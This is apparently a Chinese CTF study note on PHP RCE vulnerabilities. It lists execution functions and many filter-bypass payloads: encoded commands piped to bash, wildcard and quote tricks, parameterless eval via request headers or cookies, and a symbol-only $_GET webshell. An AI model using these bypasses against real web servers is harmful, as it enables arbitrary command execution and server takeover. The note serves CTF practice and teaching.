1.简述:

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

危害:可以让用户(通常是系统管理员或普通用户)执行任意系统命令的漏洞。这种漏洞通常存在于某些程序或脚本中,允许输入参数被编码并传递给可执行文件。

比如:如果应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

2.分类:命令执行和代码执行

3.常见函数:

(1)命令执行函数:

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;

补充:OS命令执行是指将用户的文本命令通过操作系统转化为二进制指令并执行的过程

(2)代码执行函数:

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

4.常见绕过:

(1)管道符绕过:

;:即;前后都执行

&:即&前后都执行

&&:即如果&&前为真才执行&&后面的,不然只执行&&前面的

| :即显示|后面的执行结果

||:||前面为假时才执行||后面的,否则只执行||前面的

(2)空格过滤:

空格可以替换成:

< <> %20(即space) %09(即TAB) $IFS$9 ${IFS} $IFS {}

(3)反斜杠:

如cat、ls被过滤,使用\绕过:
c\at /flag
l\s /

(4)取反绕过:

//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

(5)异或绕过:

这里推荐yu师傅的脚本

https://blog.csdn.net/miuzzx/article/details/109143413

https://blog.csdn.net/miuzzx/article/details/108569080

(6)黑名单绕过:

//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
或者:ta""c ?l*
(? :只匹配单个字符
* :自动匹配后续(或者说是匹配一次或多次))

//读取根目录
eval(var_dump(scandir('/')); /.是本级目录
//读flag
eval(var_dump(file_get_contents($_GET['a'])););&a=/flag

//等效于打开ls目录下的文件
cat `ls`
//system被绕过
(sy.(st).(em))('ls')?>
//分号被过滤
使用?>

//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可

//php标签绕过
?><?= phpinfo(); ?>

(7)base和hexo编码绕过:

//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash

//shellcode编码
//十六进制编码

(8)正则匹配绕过:

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

cat /?l*

(9)引号绕过:

//如cat、ls被过滤*

ca""t /flag

l's' /

(10)cat替换命令:

tac	与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag

strings(也是)

(11)无回显绕过:

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

(12)无参数RCE

​ 利用getallheaders()、get_defined_vars()、session_id等;

getallheaders():

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的

http://1111.icu/getallheaders().php?code=var_dump(getallheaders());

回显:

array(7) { ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept"]=> string(135) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" ["User-Agent"]=> string(111) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" ["Upgrade-Insecure-Requests"]=> string(1) "1" ["Connection"]=> string(5) "close" ["Host"]=> string(8) "1111.icu" }

可以看到,所有的头部信息都已经作为了一个数组打印了出来,在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?所以我们需要选择一条出来然后就执行它,这里就需要用到php中操纵数组的函数了,这里常见的是利用end()函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出而不会取出键,所以说键名随便取就行:1:phpinfo();

[1]=> string(10) "phpinfo()

那我们把最前面的var_dump改成eval,不就可以执行phpinfo了,

code=eval(end(getallheaders()));

换言之,就可以实现任意php代码的代码执行了

get_defined_vars():

上面说到了,getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars(),这种方法其实和上面那种方法原理是差不多的:

get_defined_vars()是获得四个全局变量$_GET $_POST $_FILES $_COOKIE,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:

c=eval(end(current((get_defined_vars()));wllm=phpinfo();

session_id:

这种方法和前面的也差不太多,这种方法简单来说就是把恶意代码写到COOKIEPHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start(),这里我们先试着把PHPSESSID的值取出来

code=var_dump(session_id(session_start()));
Cookie:PHPSESSID=qwertyu

直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID中只能有A-Z a-z 0-9-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin(不过记得加hex2b)

(13)无字母数字RCE

​ 异或、取反、自增、临时文件上传;

(14)取反绕过:

//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

(15)长度限制:

touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ , t \ , fl\ , ag , shell , flag
ls -t > shell
sh shell(读取flag)
空格\ : 这个其实是换行。
ta\
c
这个就是tac的意思
ls -t :按照时间将文本排序输出,自动换行
ls -t > shell:将ls -t的输出储存到shell文件中
我们首先是用touch命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个\\的原因在于,第一个\用于将后面的\变成字符串,第二个\是用来将后面的文本转换为字符串,以便用于后面的测试。
补充:
1>a可以创建a这一个空文件夹
ls>c会将目录下面的文件名写入到c文件中;
\作为转义符,转义之后的''是用来换行分隔,也就是换行也是连接的

补充:

关于有一些全是报错的;就比如使用var_export(scandir(“/“));扫描根目录文件结果发现全是?!什么的;就是全给你替换了,我们可以结合 exit() 函数执行php代码让后面的匹配缓冲区不执行直接退出

提前终止程序,即执行完代码直接退出,可以调用的函数有:

exit();
die();
使用 glob:// 伪协议绕过 open_basedir,读取根目录下的文件,payload:

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
或者c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0);

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);

关于极限RCE:

$_=[].'';  //得到Array
$_=$_['/'=='+']; //让[]里的值报错返回0,取Array[0]=A,此时$_=A
$____='_'; //让$____=_,后面容易拼接
$__=$_; //将A赋给$__
$__++;$__++;$__++;$__++;$__++;$__++; //A自增到G,此时$__=G
$____.=$__; //将_和G拼接起来,此时$____=_G
$__=$_; //再将$__还原成A
$__++;$__++;$__++;$__++; //A自增到E,此时__=E
$____.=$__; //E和_G拼接,此时$____为_GE
$__=$_; //再将__换源成A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //A自增成T此时__=T
$____.=$__; //再拼接成_GET,此时$____=_GET
$_=$____; //为了方便起见,我们把____换成_
($$_[_])($$_[__]); //拼成我们想要的($_GET[_])($_GET[__]),传入_和__命令执行即可

getenv:

getenv — 获取单个或者全部环境变量

参数name

getenv(name)可以利用此函数获取一个名为name环境变量的值

<?php
$ip = getenv(phpinfo());
var_dump($ip);
//phpinfo() 获取全部的环境变量